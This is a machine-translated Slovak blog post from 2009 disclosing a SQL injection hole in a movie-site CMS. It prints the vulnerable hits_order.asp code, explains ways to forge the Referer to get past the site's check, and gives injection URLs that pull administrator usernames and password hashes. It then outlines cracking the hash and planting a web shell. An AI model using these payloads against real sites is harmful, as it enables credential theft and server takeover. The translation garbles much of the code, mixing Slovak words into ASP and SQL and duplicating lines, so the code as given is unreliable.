Eye-dňový filmová systém 0day-0 dní, hits_order.asp, injekcie, oko-dňový filmová systém-st0p blog

Eye-dňový 0day filmové systém

Tento záznam bol zaslaný Október 25 2009

: St0p & My5t3ry
Reprodukovať, uveďte zdroj http://www.st0p.org

Jo, a My5t3ry prísť s otvorom, obráťte sa na správcu oficiálne, bol žiadna pozornosť ku mne.

Najprv mi dovoľte, aby som injekciu problém

Medzera súbor / p_inc / hits_order.asp

  <- # Include file = ".. / P_inc / config.asp" ->
 <- # Include file = ".. / P_inc / function.asp" ->
 <- # Include file = ".. / P_inc / function_func.asp" ->
 <- # Include file = ".. / P_inc / openconn.asp" ->
 <- # Include file = ".. / P_inc / G_function.asp" ->
 <%
 Then Ak nie ChkPost () potom
	 G_error_page_1 odpoveď. Presmerovanie G_error_page_1
	 ( ) Reakcia End ()
 End If
 "Zavolajte ChkPost / p_inc / function.asp súbor () funkcia pre detekciu zdrojového URL
 url,numb ) Funkčné G_hitss (URL, znecitlivenie)
	 Dim str
	 str = ""
	 & numb & " id,m_name,m_pic,m_hits,m_content from qingtiandy_movie where m_look=1 order by m_hits desc,id desc" sql = "select top" a necitlivé a "id, m_name, m_pic, m_hits, m_content z qingtiandy_movie kde m_look = 1 zoradiť podľa m_hits DESC, id desc"
             "Videl som, že nie otupený, bez filtra
	 server . CreateObject ( G_RS ) Set rs = server. CreateObject (G_RS)
	 , 1 rs. otvorené sql, Conn, 1, 1
	 i = 1
	 Vykonajte chvíli nie je rs. EØF 
		 Array ( "d" ,rs ( 0 ) ,url ) ) d_url = url_ (Array ("d", RS (0), url))
		 "<div class=kkk1_list><a class=bbb href=" & d_url & " title='主演：" & rs ( 2 ) & "'>" & Get_length ( rs ( 1 ) , "" , 32 ) & "</a> (" & rs ( 3 ) & ")</div>" str = str & "<div class=kkk1_list> <a class=bbb href=" a d_url &" title='主演:" & rs (2) a "'>" & Get_length (rs (1), "", 32) & "</ a> (" & rs (3) A ") </ div>
		 i = i + 1
		 rs. MoveNext
	 Slučka
	 G_hitss = str
 End Function
 %>
 G_hitss ( request ( "url" ) , request ( "numb" ) ) %> ") document.write ("<% = G_hitss (žiadosť (" url "), žiadosť (" Numb "))%>")
 "Tu znecitlivenie filter

Použitie metód, ako je
1, kde môžete priamo použiť softvér kované Referer, navštívte nasledujúcu adresu pre dosiahnutie
Prostredníctvom XMLHTTP tvoril Referer, navštívte nasledujúcu adresu vykonávanie
3, JS JAVASCRIPT pre kontrolu zdrojového URL

  ( "<a href='/p_inc/hits_order.asp?numb=1 (select str_username from tbl_admin) as username,(select str_pass from tbl_admin) as pass,'>科幻片</a> " ) ; javascript:. dokument write (<a href='/p_inc/hits_order.asp?numb=1 (select str_username z tbl_admin) ako username,(select str_pass z tbl_admin) ako pass,'> sci-fi </ a> ") ;

http://www.st0p.org/p_inc/hits_order.asp?numb=1 (vyberte str_username z tbl_admin) ako užívateľské meno (vyberte str_pass z tbl_admin) v priechode,

Poznámka: preskočiť Referer zistení možno cez POST, GET, COOKIE z mnohých spôsobov, ako dosiahnuť injekčne. . .

Prístup k nasledujúcej, správca meno v URL odkazu, hash hesla zobrazovať priamo von. .

Crack hash hesla, pretože pozadie je možné priamo editovať súbor ASP, do pozadia a mať SHELL linku.

Tento postup, existujú aj iné nedostatky. Tu sa nevyrába. .